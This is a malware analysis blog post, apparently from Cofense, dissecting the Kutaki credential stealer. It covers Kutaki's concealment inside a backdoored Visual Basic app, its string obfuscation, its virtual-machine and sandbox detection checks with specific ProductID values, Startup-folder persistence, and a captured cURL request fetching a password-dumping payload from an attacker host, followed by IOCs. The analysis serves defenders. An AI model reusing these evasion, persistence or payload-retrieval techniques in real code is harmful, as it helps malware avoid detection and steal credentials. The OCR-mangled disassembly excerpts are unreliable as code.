The Kutaki Malware Bypasses Gateways to Steal Users' Credentials

cofense.com/kutaki-malware-bypasses-gateways-steal-users-credentials/

Cofense

January 21, 2019



CISO Summary

COFENSE

It's a case of hiding in plain sight. <u>CofenseTM</u> recently found a phishing campaign that hides the Kutaki malware in a legitimate application to bypass email gateways and harvest users' credentials.

A data stealer, Kutaki uses old-school techniques to detect sandboxes and debugging, but don't underestimate it—Kutaki works quite well against unhardened virtual machines and other analysis devices. By backdooring a legitimate application, it can fool unsophisticated detection methodologies.

Learn how <u>Cofense IntelligenceTM</u> keeps IT teams ahead of the latest phishing and malware threats like this new campaign.

Full Details

Cofense Intelligence recently uncovered a small-scale phishing campaign delivering a sample of the Kutaki information stealer and keylogger that was hidden inside a legitimate <u>Visual Basic application</u> and delivered as an OLE package within a weaponized Office document.

Kutaki uses a series of anti-virtualization and anti-analysis techniques that were ostensibly copied verbatim from a series of blogs dating back to 2010-2011. Kutaki – a data stealer – is capable of harvesting Input data directly from keyboards, mice, clipboards, microphones, and screens (in the form of screenshots). The campaign observed by Cofense Intelligence also saw Kutaki retrieve a copy of <u>SecurityXploded's BrowserPasswordDump utility</u> by dropping and executing a copy of <u>cURL for Windows</u>.

Despite the evasion techniques being antiquated, they are somewhat successful against causal observation and analysis.

Hiding in Plain Sight: Obfuscation

This variant of Kutaki uses the source code as a Visual Basic training app to hide its malicious content. By backdooring an ostensibly simple training app, it attempts to exploit any potential whitelisting or simply bypass static signatures.

Figure 1 shows the backdoored application as a project breakdown. Figure 2 is a closer view of the procedures.

ieci	
þype=Exe	
Reference="\0{00020433-0000-0000-0000000046}#2.0#0\$\\WINDOW5\333TEN32\3TDOLE2.TLB#0LE Automatic	n
Cbject=(0000000-0000-0000-0000-00000000)##0; C1/Windowa/SysWowe4/MSDERFTR.DLL	
Object=(0000000-0000-0000-0000-0000000000)#D) C(\Program Files (#36)\Common Files\designer\HSDERUN.DLL	
Cbject=(0000000-0000-0000-0000000000)##6; MSHFLXGD.CCX	
Chject=(EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B)#1.1#0; leframe.dll	
Form=fincuationer.frn	
Form=frmtabledet.frm	
Form=finwalterdet.frm	
Form*finassets.frm	
Form=finbiling.frm	
Form=ff.Erm	
Form=frmLogin.frm	
Modsle*chee; chee.bas	
Module-saamneao/ saamneao.bas	
Module=devan1: devan1.bas	
Module=ende; ende.bas	
Module=JSON: JSON.bas	
Module=modFlaySound: modFlaySound.bas	
Module=Module1dd; Module1dd.bas	
Module-Nodule4: Nodule4.bes	
Module=stringbroda; stringbroda.bas	
Module=tero; tero;bas	
Class=cJSONScript/ cJSONScript.cls	
Class=cStringBuilder; cStringBuilder.cls	
Hodule-khi: khi.bas	
Form=findishdet.fim	
Form=frmdallyexpense.frm	
Form=finswaiter.frm	
Form-frasdish.fra	
Form=finscustomer.frm	
Form-Mdimain.frm	
Form=frmabout.frm	
Designer=datrepdish.dsr	
Form=frmdelwalter.frm	
Form=findelcust.fim	
Form=frndeldish.frm	
Form=frmdeltable.frm	
Form=findelassets.frm	
Module-Modulei: Modulei.bes	
Form=fincashier.fim	
Designer=datrepbill.dsr	
Designer=datreprustomer.dsr	
Designer=datrepwaitersal.dsr	
Designer=datrepassets.dsr	
Designer=datenvrestaurant.dsr COTENSE	
Form=finDplash.fim	
Designer=datrepdailyexp.dsr	
Form-terabap.frm	



Figure 2: The code sections (procedures) present in the project.

Even for non-programmers, there are certain procedure names that seem to be wildly misplaced. Indeed, we can see a close (but not quite complete) correlation between the Forms – which are GUI elements – and the procedures that power them. Figure 3 demonstrates this mapping.



Figure 3: Form elements relative to their procedure (code) counterparts.

Final proof that this application has been backdoored can be found by inspecting the procedures. Figure 4 shows legitimate procedures compared with those that have been injected.



Figure 4: "ff" and "frmLogin" are original procedures. "chee", "saamneao", "dewani" and "ende" are injected.

Not only do we see a discrepancy between the naming conventions – most legitimate procedures here begin with 'frm' – but we can also intuit the random names assigned to the injected procedures. Further, the functions – those found within the injected procedures – have unresolvable names, so they're simply assigned one by the decompiler.

Diving into some of this injected code yields even more obfuscation. Strings within the binary are reversed and decoded using the rtcStrReverse function. Figure 5 shows an example of such obfuscation.

push	ebp
mov	ebp, esp
sub	esp, 8
push	offsetvbaExceptHandler
mov	eax, large fs:0
push	eax
mov	large fs:0, esp
sub	esp, 64h
push	ebx
push	esi
push	edi
mov	[ebp+var_8], esp
mov	<pre>[ebp+var_4], offset dword_402778</pre>
mov	ebx, ds:rtcStrReverse
xor	edi, edi
push	offset off_41A57C
mov	[ebp+var_14], edi
mov	[ebp+var_18], edi
mov	<pre>[ebp+var_1C], edi</pre>
mov	[ebp+var_20], edi
mov	[ebp+var_24], edi
mov	[ebp+var_28], edi
mov	[ebp+var_2C], edi
mov	[ebp+var_30], edi
mov	[ebp+var_34], edi
mov	[ebp+var_44], edi
mov	[ebp+var_54], edi
mov	[ebp+var_5C], edi
call	ebx ; rtcStrReverse
mov	esi, ds:vbaStrMove
mov	edx, eax
lea	ecx, [ebp+var_14]
call	esi ;vbaStrMove
push	offset aMuneKsidSecivr ; "munE\\ksiD\\secivreS\\100teSlortnoC\\ME"
call	ebx ; rtcStrReverse

Figure 5: 3 instances of rtcStrReverse being used to deobfuscate stored strings.

Similar string obfuscation techniques can be found masking suspicious API calls. Figure 6 shows the obfuscation of <u>Sleep</u> and <u>ShellExecuteA</u> strings.

.text:0041867C	aWi1	db 'wil	1',0	; DATA XREF: .text:00413CCC1	0
.text:00418680		db 9,0			
.text:00418682		align 4	1		COFENSE
.text:00418684	aKernel32	db "ker	nel32',0	; DATA XREF: .text:off_41869	Cło
.text:00418684				; .text:off 418ACB40	
.text:00418680		align 1	leh		
.text:00418690	dword_418690	dd 🛃	'eels', 'p'	; DATA XREF: .text:004186A04	0
.text:0041869C	off_41869C	dd offs	set aKernel32	; DATA XREF: sub_418684:loc_	41868F4o
.text:0041869C				; "kernel32"	
.text:004186A0		dd offs	set dword_41869	9+4	
.text:004186A4		dd 4000	Neh, 481470h, 2	dup(0)	
.text:00418684					
.text:00418684	;	5 U B	ROUTINE		
.text:00418684					
.text:00418684					
.text:00418684	sub_418684	proc ne	tar	; CODE XREF: _O_Pri_Obj_Inf6	Event0x5+1C64p
.text:00418684				; _O_Pri_Obj_Inf6_Event0x5+5	C1+p
.text:00418684		mov	eax, dword_48	478	
.text:00418689		or	eax, eax		
.text:00418688		jz	short loc_418	58F	
.text:0041868D		jep	eax		
.text:0041868F	;				
.text:0041868F					
.text:0041868F	loc_41868F:			; CODE XREF: sub_418684+71j	
.text:0041868F	6) 1.72A	push	offset off_41	869C	
.text:004186C4		mov	eax, offset D	llFunctionCall	
.text:004186C9		call	eax ; DllFunc	tionCall	
.text:004186CB		jmp	eax		
.text:004186CB	sub_418684	endp			
.text:004186CB					
.text:004186CB	3				
.text:004186CD		align 1	Leh		
.text:004186D0		dd OCh			
.text:004186D4	aShe1132011	db she	1132.dll',0	; DATA XREF: .text:off_4186F	440
.text:004186E0	dword_4186E0	dd <mark>điếh</mark> ,	'lehS', 'exEl	, 'etuc', 'A'	
.text:004186E0				; DATA XREF: .text:004186F84	0
.text:004186F4	off_4186F4	dd offs	set aShell32D11	; DATA XREF: sub_41870C:loc_	41871740
.text:004186F4				; "shell32.dll"	
.text:004186F8		dd off:	set dword_41868	9+4	
.text:004186FC		dd 4000	Weh, 48147Ch, 2	dup(0)	
.text:0041870C					
.text:0041870C	;	S U 8	ROUTINE		

Figure 6: Sleep and ShellExecuteA strings.

These strings are part of a small struct used by DIIFunctionCall – a method by which Visual Basic applications can retrieve the addresses of functions from specific DLLs. The struct looks something like this:

typedef struct _DIIFunctionCallDataStruct {

void * lpLibName;

void * lpExportName;

} DIIFunctionCallDataStruct;

We can see how this structure maps to what we see in the disassembly in figure 6. All calls to DLLFunctionCall are wrapped in identical snippets, as demonstrated in Figure 7.



Figure 7: a typical wrapper for calls to DIIFunctionCall.

After careful analysis, we find that 18 high-value API calls are obfuscated in this manner. Figure 8 details these.

f Sleep	.text
f ShellExecuteA	.text
f GetWindowsDirectoryA	.text
f GetComputerNameA	.text
f GetKeyState	.text
f GetForegroundWindow	.text
f GetWindowTextA	.text
f GetWindowTextLengthA	.text
f GetAsyncKeyState	.text
f CreateToolhelp325napshot	.text
f Module32First	.text
f Module32Next	.text
f GetWindowsDirectoryA_0	.text
f GetCurrentProcessId	.text
f RegOpenKeyExA	.text
F RegQueryValueExA	.text
F RegCloseKey COFENSE	.text
f rtlMoveMemory	.text

Figure 8: De-obfuscated API calls used by Kutaki to perform some of its malicious activity.

Anti-Virtualization

Kutaki employs some basic checks and comparisons to identify whether it is executing within a virtualized environment. The first of these involves reading the HKLM\System\CurrentControlSet\Services\Disk\Enum registry key and comparing the

returned string against a list of "undesirable" strings. Figure 9 details the read of this key.



Figure 9: Kutaki reads disk metadata from the registry.

This registry key contains information about the disks present on the machine. The first disk is stored in a value named "0", the second in a value named "1" and so on. In the instance of this analysis VM, the value 0 contains the data observed in figure 10.

Name	Type	Data
(Default)	REG_SZ	(value not set)
ab 0	REG_SZ	SCSI\Disk&Ven_VBOX&Prod_HARDDI
28 Count	REG_DWORD	0x00000001 (1)
10 NextInstan	ce REG_DWORD	0x00000001 (1)
	Edit String	×
	Value name:	
	0	
	Value data:	
	SCSI\Disk&Ven_VBOX&Pro	d_HARDDISK
		OK Cancel

Figure 10: Example data from the Disks\Enum registry key.

The highlighted text shows that the disk belongs to a <u>VirtualBox</u> VM. Figures 11 and 12 show two different string comparisons, attempting to identify different types of virtual machines present. Figure 13 is all the strings Kutaki will compare against.

eax
offset aLautriv ; "*LAUTRIV*"
<pre>ebx ; rtcStrReverse</pre>
edx, eax
ecx, [ebp+var_28]
esi ;vbaStrMove
eax
ds:vbaStrLike
ecx, ecx
ax, 0FFFFh
cl
ecx
[ebp+var_58], ecx
ecx, [ebp+var_28]
ds:vbaFreeStr
word ptr [ebp+var_58], di
short loc_4674A4

Figure 11: Check if the registry value contains "VIRTUAL" anywhere within the string.

📕 🚄 loc 4674C1: ecx, [ebp+var_24] mov push ecx "*XOBV*" push offset aXobv call ebx ; rtcStrReverse mov edx, eax lea ecx, [ebp+var_28] call esi ; vbaStrMove push eax call ds: vbaStrLike edx, edx xor ax, ØFFFFh cmp setz dl edx neg lea ecx, [ebp+var_28] esi, edx mov ds: vbaFreeStr call COFENS si, di cmp short loc_4674FC jz

Figure 12: Check if the registry value contains "VBOX" anywhere in the string.

.text:0041A584	alvimv :		
.text:0041A584		text "UTF-16LE",	'waw"',e
.text:0041A58E		align 10h	
.text:0041A590	all_0:		
.text:0041A590		text "UTF-16LE",	'N',0
text:0041A594	aMuneKsidSecivr:		; DATA XREF: Anti_VM_Enum_Disks+6940
.text:0041A594		text "UTF-16LE",	'munE\ksiD\secivre5\100teSlortnoC\METSY5',0
.text:0041A5E4		dd 12h	
.text:0041A5E8	alautriv:		; DATA XREF: Anti_VM_Enum_Disks+1E94o
.text:0041A5E8		text "UTF-16LE",	'*LAUTRIV*',0
.text:0041A5FC		dd 0Ch	
.text:0041A600	aXobv:		; DATA XREF: Anti_VM_Enum_Disks+2454o
.text:0041A600		text "UTF-16LE",	"XOBV"',0
.text:0041A60E		align 10h	
.text:0041A610		dd 16h	
.text:0041A614	alldLldeibs:		; DATA XREF: sub_467570+20340
.text:0041A614		text "UTF-16LE",	'lld.lldeibs',0
.text:0041A62C		dd 16h	
.text:0041A630	alldPlehgbd:		; DATA XREF: sub_467570+31840
.text:0041A630		text "UTF-16LE",	'lld.plehgbd',0
.text:0041A648	aR:		
.text:0041A648		text "UTF-16LE",	'R',0
.text:0041A64C	alloisrevtnerruc:		; DATA XREF: sub_467570+3F040
.text:0041A64C		text "UTF-16LE",	'noisreVtnerruC\swodniW\tfosorciM\erawtfoS',0
.text:0041A6A0		text "UTF-16LE",	1.1,0
.text:0041A6A4	a41622559924873		; DATA XREF: sub_467570+570+0
.text:0041A6A4		text "UTF-16LE",	'41622-5599248-733-78467',0
.text:0041A6D4		text "UTF-16LE",	1.1,0
.text:0041A6D8	a01532730771344		; DATA XREF: sub_467570+5C5+o
.text:0041A6D8		text "UTF-16LE",	'01532-7307713-446-78467',0
.text:0041A708		text "UTF-16LE",	1.1,0
.text:0041A70C	a05932460376204	and the second second second	; DATA XREF: sub_467570+617+0
.text:0041A70C		text "UTF-16LE",	'05932-4603762-046-47255',0
.text:0041A73C		text "UTF-16LE",	8,0
.text:0041A740	aPtth:		; DATA XREF: sub_468010+C3+o
.text:0041A740		text "UTF-16LE",	'ptth',0

Figure 13: Anti-virtualization strings.

The string comparison seen in figure 12 would match the data found in the registry value displayed in Figure 10. Despite the match, Kutaki doesn't immediately exit, rather it continues with other virtualization checks. Only after all checks are completed will it determine whether execution should continue. Figure 14 shows the execution flow of this concept. The specifics of the results checker are detailed later.



Figure 14: Anti-analysis/virtualization chain.

To supplement the disk checks, Kutaki attempts to determine whether specific modules, which belong to sandboxes and debugging utilities, have been injected into its address space. It achieves this by using a combination of <u>CreateToolhelp32Snapshot</u>, <u>Module32First</u> and <u>Module32Next</u>. These APIs take a snapshot of the running process (including heap, modules, etc.), find the first module, and iterate over subsequent modules mapped to the process, respectively. Figure 15 shows Kutaki setting up the snapshots and retrieving a pointer to the first module.

mov	[ebp+var_18], ebx
mov	[ebp+var_A54], ebx
mov	[ebp+var_ASC], ebx
mov	[ebp+var A60], ebx
mov	[ebp+var A64], ebx
mov	[ebp+var_A68], ebx
mov	[ebp+var A6C], ebx
mov	[ebp+var A7C], ebx
mov	[ebp+var_A8C], ebx
mov	[ebp+var_A9C], ebx
mov	[ebp+var AAC], ebx
mov	[ebp+var ABC], ebx
mov	[ebp+var ACC], ebx
mov	[ebp+th32ProcessID], ebx
mov	[ebp+var AD4], ebx
call	ds: vbaFixstrConstruct
cal1	warpper GetCurrentProcessID
mov	esi, ds: vbaSetSystemError
mov	[ebp+th32ProcessID], eax
call	esi : vbaSetSystemError
mov	ecx, [ebp+th32ProcessID]
push	ecx : th32ProcessID
push	8 : duFlags
call	warpper CreateToolhelo32Snapshot
mov	[ebp+var_AD4], eax
call	est : vbaSetSystemError
mov	edi, [ebo+var AD4]
lea	edx, [ebo+uSize]
lea	eax, [ebo+var FFC]
push	edx
push	eax
push	offset asc 41957C ; " "
mov	[ebp+lp8uffer], edi
mov	[ebp+uSize], 510h
call	ds: vbaRecUniToAnsi
push	eax
push	edi
call	wrapper Module32First
call	esi : vbaSetSystemError
lea	ecx, [ebp+var FFC]
lea	edx, [ebp+uSize]
push	ecx
push	edx
push	offset asc 41957C : " "
call	ds: vbaRecAnsiToUni
mov	esi, ds: vbaStrNove
mov	edi, ds:rtcStrReverse

Figure 15: Kutaki setting up a module-identification loop.

Kutaki checks for the existence of sbiedll.dll and dbghelp.dll. These modules belong to <u>Sandboxie</u> and <u>Microsoft</u>, respectively. Figure 16 shows the de-obfuscation and comparison routine for dbghelp.dll.

loc_46	782C:
lea	eax, [ebp+var_A18]
push	eax
push	100h
call.	ds:vbaStrFixstr
mov	edx, eax
lea	ecx, [ebp+var_ASC]
call	esi ; vbaStrHove
lea	edx, [ebp+var ABC]
lea	eax, [ebo+var A7C]
lea	ecy, [ebosyar ASC]
oush	edx
nush	68V
POST	Tehnever 4841 erv
and the second	Cobring ABC1 ADDED
111	Copress and I, woodin
Call	ds:reccomercasevar
lon	eck, leopevar_Asc]
rea	eax, [eopevar_Ais]
push	ecx
push	edx
push	100h
call	ds:vbalsetfixstr
push	offset alldPlehgbd ; "lld.plehgbd"
call	edi ; rtcStrReverse
mov.	[ebp+var_A84], eax
lea	eax, [ebp+var_A7C]
push	1
lea	ecx, [ebpevar_ABC]
push	eax
push	ecx
lea	edx, [eboyyar A9C]
push	ebx
oush	edx
BOW	Lebnewar ARC1. 8
motor	Tehnavar 4741 ehv
mon.	Cohneyar ACC1 8002h
(1)	des shallester
Call	ds:voarmstrvar
push	and fahrenes area
rea	eax' feebaaa. weel
push	eax
call	ds:voavaristot
Tea	eck, [ebp+var_ASC]
mov.	[ebp+var_ADC], eax
call	ds:vbafreeStr
lea	ecx, [ebp+var_A9C]
lea	edx, [ebp+var_A7C]
push	ecx
lea	eax, [ebp+var_ASC]
push	edx
push	eax
push	3
call	ds: vbafreeVarList
add	esp. 100
CRD	word otr Tebosyar ADC1, bx
	the second se

Figure 16: Windows Debug DLL de-obfuscation and string comparison.

All the comparison results are stored in a data structure, which is later checked by the _check_anti_analysis routine.

In a final check to ensure it is not being observed, Kutaki once again reads a registry key — HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion — this time checking for the existence of some very specific ProductID values within the CurrentVersion hive. Figure 17 shows this function.



Figure 17: Opening the registry key to facilitate value comparisons.

Kutaki attempts to find a value with the name "ProductID". If it finds one key with that value, it will loop through three string comparisons, attempting to identify three sandbox platforms. Some pseudocode to roughly describe this process could be:

```
p_id = RegQueryValueExA("ProductID")
```

if (p_id)){

```
if (p_id == '76487-337-8429955-22614') {
```

```
return "Anubis"
```

}

```
elif (p_id == '76487-644-3177037-23510') {
```

```
return "CWSandbox"
```

```
}
```

```
elif (p_id == '55274-640-2673064-23950') {
```

return "JoeSandbox"

}

else {

return None

}

Figure 18 shows this nested loop as it exists with Kutaki.



Figure 18: Looping through checks for various sandboxes.

Once all of the checks have been processed, Kutaki parses the results to determine if its main loop should finish or continue executing. The check procedure parses every result for a non-zero "return code" (i.e. something was detected) and, if it such a return code is found, the main loop exits. Figure 19 shows an example of these checks.

🔲 📬 🛛	
	COFENSE
loc 46	7CDF:
mov	esi, ds: vbaVarCmpEq
lea	ecx, [ebp+var 74]
neg	eax
mov	[ebp-6Ch], ax
lea	edx, [ebp-34h]
push	ecx
lea	eax, [ebp-64h]
push	edx
lea	ecx, [ebp-44h]
push	eax
push	ecx
mov	dword ptr [ebp-74h], 0Bh
mov	dword ptr [ebp-5Ch], 1
mov	dword ptr [ebp-64h], 8002h
call	esi ;vbaVarCmpEq
mov	edi, ds:vbaVarAnd
lea	edx, [ebp+var_54]
push	eax
push	edx
call	edi ;vbaVarAnd
mov	ebx, ds:vbaBoolVarNull
push	eax
call	ebx ;vba8oolVarNull
lea	ecx, [ebp-74h]
mov	[ebp-78h], eax
call	ds:vbaFreeVar
cmp	word ptr [ebp-78h], 0
JZ	short loc_467D41
	L
	······································
	🔛 🖆 🖼
	call ds: vbaEnd

Figure 19: Parsing the results of one of the anti-analysis checks.

Behavior

Once Kutaki has determined it is not being monitored, it will proceed with its primary purpose of preparing the machine for data-theft. During this process, Kutaki extracts an image from its resources, drops it to the user's temp directory and launches it with ShellExecuteA("cmd.exe /c C:\Users\admin\AppData\Local\Temp\images1.png"). This displays a decoy image to fool the user into believing the OLE package they clicked on was simply an image. Figure 20 is the precise image dropped to disk and displayed to the user.

Evention Reactives Endouring Data Terms (data) Set Colo Description						
Josuwi Tri- Custovich Busichers Contact Refine Business Neighune: Business Parci Address	I MANE		Div Over Dive	CHEMIN BUT	ENERS AANE	
Description: 0		12.52	Ante	-	~	
Andrews Payment Nation						
(reer Area harate Astale Main Area Maria Area Area Area Area Area Area Area Area Area Area Area Area Area		20	in horse in the second se	- 1	ne te j	in 1

Figure 20: Decoy image launched by Kutaki.

The document is an invoice template; clearly the actors deploying this put very little effort into this decoy document, as a quick Google search shows it to be the second image hit using the search term "tax details to invoice". Indeed, this is the exact image used by the attackers: hxxp://batayneh[.]me/invoice-with-bank-details-template/invoice-with-bank-details-template-blank-tax-luxury/

After displaying the document, Kutaki checks its current executable name against the hardcoded string "hyuder" and, if it does not match, proceeds to drop a copy of itself, with the new name, to

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hyuder.exe

Figure 21 shows this check in a debugger. If a new process is launched, the parent process will sit idle without exiting.

Argi Argi United State Converts ERK to boolean			
CrBUBURGOvbaFreeStr CrBUBURGOvbaFreeObj		-	
	A KINAZIKI (December #15	Aret = UHICOD	E "hsudeo"
œ	015 00 444 015 00 444 015 00 444 015 00 444 015 00 447 015 00 400 4000000	wrege a origino	

Figure 21: Kutaki comparing its current name to the desired.

Figure 22 shows Kutaki building the file path to which it will drop a copy of itself. By dropping to the startup folder, Kutaki achieves persistence.

lea	ecx, [ebp+var_88]	
call	ds: vbaStrflove	
lea	ecx, [ebp+var F0]	
call	ds: vbafreeVar	
BOV	Tebo+var 41, 28h	
push	0	
nush	offset awscriptShell	: "MScrint.Shell"
lea	eav. [chnevar F0]	
nuch	eax	
call	desets/ reate/blact?	
lea	ery [shnavar F0]	
nuch	eest feature	
lea	adv Tabasuar 241	
nuch	east feathers Teal	
call.	des substract atting	
COTT	Cabaluma dl 32h	
BOV	[epp+var_a], zin	. *Ctartur*
BUV	[copyvar_isc], orrset ascartop	1 Startup
BOV	Teob+Ant_reel' a	
BOV	eax, 10h	
Call	vbachkstk	
BOV	eax, esp	
nov	ecx, [ebp+var_164]	
BOV	[eax], ecx	
BOV	edx, [ebp+var_160]	
BOV	[eax+4], edx	
BOV	ecx, [ebp+var_15C]	
nov	[eax+5], ecx	
ROV	edx, [ebp+var_158]	
mov	[eax+8Ch], edx	
push	1	Vorielings and the
push	offset aSpecialfolders	; "SpecialFolders"
lea	eax, [ebp+var_64]	
push	eax	
lea	ecx, [ebp+var_F0]	
push	ecx	
call	ds:vbaVarLatePesCallLd	
add	esp, 20h	
mov	edx, eax	
lea	ecx, [ebp+var_A8]	
call	ds: vbaVarNove	
BOV	[ebp+var_4], 22h	
BOV.	[ebp+var_15C], 4187C6h	1 1
mov	[ebp+var_164], 8	
BOV	edx, [ebp+var_98]	
mov.	[ebp+var_16C], edx	
mov	[ebp+var_174], 8	
mov	[ebp+var_17C], offset aExe	; ".exe"
mov	[ebp+var_184], 8	
lea	eax, [ebp+var_A8]	
push	eax	
lea	ecx, [ebp+var_164]	
push	ecx	
lea	edx, [ebp+var F0]	
push	edx	
call	ds: vbaVarCat	(Channelland)
push	eax	Contraction of the second
lea	eax, [ebp+var 174]	

Figure 22: Kutaki builds out the string it will use to drop a copy of itself and achieve persistence.

Kutaki executes the dropped code and proceeds to execute its primary malicious functionality. Note: some readers will no doubt question whether simply renaming the executable "hyuder.exe" will prevent it from dropping a copy of itself. This is correct; Kutaki will execute directly without dropping anything further, if it is running with an approved name. The rest of the code is somewhat uninteresting, mostly because almost all the malicious behavior occurs outside of the binary itself.

Before proceeding further, Kutaki will check in with its C2 server, announcing the new infection. Figure 22 is some example traffic observed during analysis.



Figure 23: Kutaki's C2 server is offline.

Kutaki also comes bundled with a copy of cURL – a Linux app ported to Windows which allows command line access to internet resources. It uses cURL to retrieve a payload from a remote host, although quite why it does this is unclear – it has the capability to contact remote servers as demonstrated by its initial attempt to contact its C2 server. Regardless, the use of cURL is by design, as the host from which it attempts to download a further payload refuses connections unless the User Agent is set to one referencing cURL. Figure 23 documents the connections made by cURL to the remote host, retrieving a secondary payload.

Vireshark - Follow HTTP Stream (tcp.	stream eq 2) • dump-89d456	98e6658.		•
GET /FF/om2.exe HTTP/1.1 Host: janawe.bid				Control	
User-Agent: curl/7.47.1 Accept: */*				-	
HTTP/1.1 200 OK					
Date: Mon, 07 Jan 2019 11:04 Server: Apache	:18 GMT				
Last-Modified: Tue, 11 Dec 20 Accept-Ranges: bytes	018 21:39:	38 GMT			
Content-Length: 1048576 Content-Type: application/x-r	msdownload				
Z@ 	cannot be	run in DOS	mode.	•••••	•••
\$1mPPPzL					
.P0PRich.P	.PEL	*.\			8
br			(
[te	xt			
data\$			rsrc	**	
[JMSVBVM60.DLL			•••••	•••••	
		•••••			••••
client pkt(s), 1 server pkt(s), 1 turn(s).		Chow and care	a data ar	4500	
ind:	•	snow and sav	e daca as	Fin	1 Next
	a lat	1	Back		The second

Figure 24: Kutaki uses cURL to download and execute a secondary payload. Note the User-Agent string "curl/7.47.1".

The payload retrieved, in this case, was a copy of SecurityXploded's

BrowserPasswordDump. This utility is designed to retrieve passwords from the vaults of the following browsers:

- Firefox
- Google Chrome
- Microsoft Edge
- Internet Explorer
- UC Browser
- Torch Browser
- Chrome Canary/SXS Cool
- Novo Browser
- Opera Browser

Apple Safari

Because the C2 server was offline, we were unable to monitor the exfiltration of stolen data facilitated by the BrowserPasswordDump utility.

Old Does Not Mean Ineffective

Kutaki uses some old-school, well-documented techniques to detect sandboxes and debugging. These are still effective against unhardened virtual machines and other analysis devices. Additionally, by backdooring a legitimate application, unsophisticated detection methodologies could well be fooled.

To learn more about recent malware trends, read our 2018 year-end review.

Appendix

Sources

https://www.alienvault.com/blogs/labs-research/your-malware-shall-not-fool-us-with-thoseanti-analysis-tricks

https://www.fireeye.com/blog/threat-research/2011/01/the-dead-giveaways-of-vm-aware-malware.html

ProductID Checks

76487-337-8429955-22614 // Anubis Sandbox

76487-644-3177037-23510 // CW Sandbox

55274-640-2673064-23950 // Joe Sandbox

AntiVM Strings

VIRTUAL

VBOX

*VMW

sbiedll.dll

Dbghelp.dll

loCs

hxxp://babaobadf[.]club/kera/kera3x[.]php

hxxp://janawe[.]bid/FF/om2[.]exe

Artefacts

89D45698E66587279460F77BA19AE456

A69A799E2773F6D9D24D0ECF58DBD9E3

70bf5dd41548e37550882eba858c84fa

8e4aa7c4adec20a48fe4127f3cf2656d

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.

Don't miss out on any of our phishing updates! Subscribe to our blog.